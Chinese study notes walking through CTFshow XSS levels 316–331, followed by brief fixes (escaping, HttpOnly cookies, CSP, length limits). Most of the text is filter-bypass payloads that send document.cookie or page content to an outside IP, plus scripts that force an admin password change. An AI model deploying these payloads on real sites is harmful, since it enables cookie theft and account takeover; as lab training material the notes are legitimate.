#知识点
1、XSS 跨站-过滤绕过-便签&语句&符号等
2、XSS 跨站-修复方案-CSP&函数&http_only 等
演示案例
Ø XSS 绕过-CTFSHOW-361 到 331 关卡绕过 WP
Ø XSS 修复-过滤函数&http_only&CSP&长度限制
#XSS 绕过-CTFSHOW-361 到 331 关卡绕过 WP
316-反射型-直接远程调用
<script>
window.location.href='http://47.94.236.117/get.php?c='+document.cookie
</script>
317-反射型-过滤<script>
<img src=1 onerror=window.location.href='http://47.94.236.117/get.php?c='+document.cookie;>
318 319-反射型-过滤<img>
<input onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
<svg onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
320-326-反射型-过滤空格(用/代替空格)
<svg/onload="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">
327-存储型-无过滤
<script>
window.location.href='http://47.94.236.117/get.php?c});='+document.cookie
</script>
328-存储型-注册插入 JS
<script>
window.location.href='http://47.94.236.117/get.php?c='+document.cookie
</script>
- 存储型-失效凭据需 1 步完成所需操作
思路:session实时失效,通过js代码获取页面源码
<script>
$('.laytable-cell-1-0-1').each(function(index,value)
{if(value.innerHTML.indexOf('ctf'+'show')>-1)
{window.location.href='http://47.94.236.117/get.php?c='+value.innerHTML; }
</script>
330-存储型-借助修改密码重置管理员密码(GET)
<script>
window.location.href='http://127.0.0.1/api/change.php?p=123';
</script>
331-存储型-借助修改密码功能重置管理员密码(POST)
<script>
$.ajax({
url:'http://127.0.0.1/api/change.php',
type:'post'
,data:{p:'123'}
});
</script>
注意:优先选择无需触发的事件onload等方法
#XSS修复-过滤函数&htlp_only&CSP&长度限制
1、过滤一些危险字符,以及转义&<>"'等危险字符自定义过滤函数引用
2、HTTP.only Cookie
php.ini设置或代码引用
session.cookie_httponly=1
ini set("session.cookie_httponly",1);
3、设置CSP(Content securily Policy)
Header:("Content-Security-Policy img-src 'self’ ")
Web安全2.3:CSP安全策略、Cookie、Session、同源策略、HTML DOM树_csp meta report url html-CSDN博客
4、输入内容长度限制,实体转义等